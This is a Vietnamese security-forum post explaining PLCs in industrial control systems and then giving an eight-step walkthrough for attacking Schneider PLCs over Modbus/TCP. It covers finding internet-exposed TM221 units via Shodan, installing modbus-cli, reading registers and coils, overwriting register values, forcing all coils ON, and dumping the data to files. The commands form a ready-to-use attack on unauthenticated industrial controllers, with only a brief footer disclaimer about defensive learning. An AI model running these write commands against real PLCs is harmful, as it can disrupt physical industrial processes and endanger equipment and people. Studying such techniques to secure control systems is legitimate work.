Các bước tấn công thiết bị PLC sử dụng MODBUS-CLI

nktung

Super Moderator
Thành viên BQT
08/10/2013
400
985 bài viết
Các bước tấn công thiết bị PLC sử dụng MODBUS-CLI
Trong các hệ thống điều khiển công nghiệp (ICS, SCADA, DCS) đều sử dụng thiết bị PLC (Programable Logic Controller). Đây là thiết bị điều khiển lập trình được cho phép thực hiện linh hoạt các thuật toán điều khiển logic thông qua một ngôn ngữ lập trình nào đó. PLC hoạt động theo phương thức quét các trạng thái trên đầu ra và đầu vào, khi có sự thay đổi ở đầu vào thì đầu ra sẽ thay đổi theo. Vì sự quan trọng trong vấn đề điều khiển hệ thống, nên kẻ gian khi can thiệp được vào hoạt động của PLC thì có thể gây hậu quả lớn.
PLC.png

Hình 1. Thiết bị PLC đóng vai trò trung tâm điều khiển​

PLC cũng được coi là máy tính kỹ thuật số có thành phần chính là (1) bộ nhớ chương trình RAM, (2) bộ vi xử lý và (3) các modul vào /ra. Có thể lập trình PLC để:

· Điều khiển PID, FUZY

· Điều khiển liên tục nhiệt độ áp suất lưu lượng…

· Điều khiển động cơ chấp hành, động cơ bước

· Điều khiển biến tần

Người sử dụng có thể lập trình PLC để thực hiện một loạt trình tự các sự kiện. Các sự kiện này được kích hoạt bởi tác nhân kích thích (ngõ vào) tác động vào PLC hoặc qua các hoạt động có trễ như thời gian định thì hay các sự kiện được đếm.

Những kẻ tấn công nhắm mục tiêu vào các thiết bị PLC được chế tạo bởi các hãng nổi tiếng như Schneider, ABB, Siemens Electric … được sử dụng để tự động hóa các quy trình trong nhiều ngành sản xuất. Các thiết bị PLC sử dụng giao thức MODBUS/TCP để giao tiếp với các thiết bị công nghiệp khác. Những kẻ tấn công sử dụng các công cụ như MODBUS-CLI để khai thác điểm yếu trên các thiết bị PLC thông qua giao thức MODBUS. Đây là một công cụ miễn phí và dễ dùng để thao tác với các thiết bị sử dụng giao thức MODBUS.
Ví dụ các bước hack PLC hãng Schneider bằng modbus-cli:

- Bước 1: Xác định PLCS có kết nối Internet

Kẻ gian có thể sử dụng các công cụ như Shodan, Nmap, v.v. để tìm các cơ sở công nghiệp được public trên Internet. Ví dụ để phát hiện PLC Schneider Electric có mã TM221 được kết nối với Internet, có thể nhập “TM221ME16R” vào thanh tìm kiếm Shodan. Shodan truy xuất tất cả Schneider Electric TM221 PLCS được kết nối với Internet.

- Bước 2: Cài đặt modbus-cli

Sau khi xác định các thiết bị PLC dễ bị tấn công bằng Shodan, bây giờ kẻ gian cài đặt modbus-cli bằng lệnh sau:

gem install modbus-cli

- Bước 3: Hiểu các kiểu dữ liệu

Trước khi khai thác bằng modbus-cli, cần hiểu các kiểu dữ liệu được sử dụng để đọc các giá trị. Các kiểu dữ liệu này sử dụng hai loại địa chỉ, đó là địa chỉ Schneider và Modicon (công ty sáng tạo giao thức giao thức MODBUS). Địa chỉ Schneider bắt đầu bằng %M.

upload_2021-11-7_7-57-27.png

Bảng 1. Các kiểu dữ liệu tương ứng với format địa chỉ thanh ghi​
- Bước 4: Đọc các giá trị thanh ghi

Để đọc các giá trị thanh ghi từ các thiết bị được xác định trong bước 1, sử dụng lệnh sau:

· Sử dụng địa chỉ Schneider: modbus read <IP đích>% MW100 10

· Sử dụng địa chỉ Modicon: modbus read <IP đích> 400101 10


upload_2021-11-7_7-58-20.png

Hình 2. Lệnh trên truy xuất 10 word từ các thanh ghi.​
Như hình trên, các giá trị của 10 thanh ghi đã được liệt kê.

- Bước 5: Ghi đè các giá trị thanh ghi

Bây giờ, bạn có thể ghi đè các giá trị thanh ghi bằng các lệnh sau:

modbus write <IP đích> %MW100 2 2 2 2 2 2 2 2

modbus write < IP đích > 400101 2 2 2 2 2 2 2 2


Sau khi chạy lệnh trên, 8 giá trị thanh ghi đầu tiên được thay thế bằng 2.

- Bước 6: Đọc giá trị coils

Bây giờ, hãy thử truy xuất giá trị của các coils (giá trị thanh ghi dài 1 bit). Các giá trị này sử dụng kiểu dữ liệu Boolean để lưu trữ các giá trị ON/OFF (1/0). Chạy các lệnh sau để truy xuất các giá trị coils:

modbus read < IP đích > 101 10

modbus read < IP đích >% M100 10

upload_2021-11-7_8-4-47.png

Hình 3. Các giá trị Coils đọc được​
- Bước 7. Ghi đè các giá trị coils

Sử dụng các lệnh sau để BẬT tất cả các coils:

modbus write < IP đích > 101 1 1 1 1 1 1 1 1 1 1

modbus write < IP đích> & M100 1 1 1 1 1 1 1 1 1 1


Sau khi chạy lệnh trên, kiểm tra lại các giá trị coils, sẽ thấy tất cả các coils có giá trị là 1.

upload_2021-11-7_8-5-33.png

Hình 4. Các giá trị Coils sau khi bị ghi đè​

- Bước 8: Lưu dữ liệu vào file

Có thể lưu dữ liệu từ các PLC để phân tích và thử nghiệm trong tương lai.
Sử dụng lệnh sau để lưu các giá trị thanh ghi vào tệp đầu ra:
  • modbus read --output SCADAregisters.txt < IP đích> 400101 200
  • modbus read --output SCADAregisters.txt <IP đích> %MW100 200
Sử dụng lệnh sau để thu các giá trị coils thành tệp đầu ra:
  • modbus read --output SCADAcoils.txt <IP> 101 100
  • modbus read --output SCADAcoils.txt <IP>% M100 100
  • upload_2021-11-7_8-7-45.png
 
Chỉnh sửa lần cuối:
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Bên trên